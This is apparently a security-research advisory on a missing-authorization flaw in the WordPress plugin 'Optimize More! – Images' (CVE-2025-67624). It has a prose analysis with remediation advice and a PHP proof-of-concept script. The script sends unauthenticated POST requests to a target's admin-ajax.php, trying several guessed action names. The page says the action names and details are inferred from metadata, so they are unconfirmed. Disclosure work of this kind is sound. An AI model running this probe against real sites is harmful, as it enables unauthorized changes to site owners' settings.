Atomic Edge analysis of CVE-2025-67624 (metadata-based):
The Optimize More! – Images plugin for WordPress, versions up to and including 1.1.3, contains a Missing Authorization vulnerability. This flaw allows unauthenticated attackers to trigger a specific administrative function, leading to unauthorized actions on the site.
Atomic Edge research identifies the root cause as a missing capability check on a function registered with WordPress’s AJAX or admin-post hook system. The CWE-862 classification confirms the absence of a proper authorization mechanism, such as `current_user_can()`, before executing a privileged operation. This conclusion is inferred from the vulnerability description and the common WordPress plugin pattern where administrative functions are exposed via hooks without access controls.
Exploitation likely involves sending a crafted HTTP request to a WordPress administrative endpoint. The most probable attack vector is the `admin-ajax.php` handler with an `action` parameter corresponding to the vulnerable function. An attacker would send a POST request to `/wp-admin/admin-ajax.php` with the parameter `action` set to a value like `optimize_more_images_action`. No authentication or nonce is required.
Remediation requires adding a proper capability check to the vulnerable function. The plugin should verify the user has appropriate permissions, such as `manage_options`, before proceeding. A nonce check should also be implemented to prevent CSRF attacks. The patched function must ensure only authorized administrators can execute the action.
The impact of this vulnerability is unauthorized modification of plugin or site settings. Attackers can disrupt image optimization processes, alter configuration, or degrade site performance. The CVSS vector indicates a low impact on integrity (I:L) with no effect on confidentiality or availability, aligning with an action that modifies data without granting access or causing denial of service.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-67624 - Optimize More! – Images <= 1.1.3 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-67624.
* This script demonstrates unauthorized access to a vulnerable AJAX endpoint.
* The exact action name is inferred from the plugin slug and common patterns.
* Assumption: The vulnerable endpoint is `/wp-admin/admin-ajax.php`.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Common inferred action names based on plugin slug 'optimize-more-images'
$candidate_actions = [
'optimize_more_images_action',
'optimize_more_images_process',
'optimize_more_images_admin_action',
'omi_action',
'optimize_more_action'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
foreach ($candidate_actions as $action) {
$post_data = ['action' => $action];
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "[*] Testing action: {$action}n";
echo " HTTP Code: {$http_code}n";
echo " Response Length: " . strlen($response) . "n";
// A successful but unauthorized call may return a 200 with plugin-specific output
if ($http_code == 200 && !empty($response) && strpos($response, '0') !== 0) {
echo " [POTENTIAL HIT] Received a non-zero/empty response.n";
}
echo "n";
}
curl_close($ch);
?>
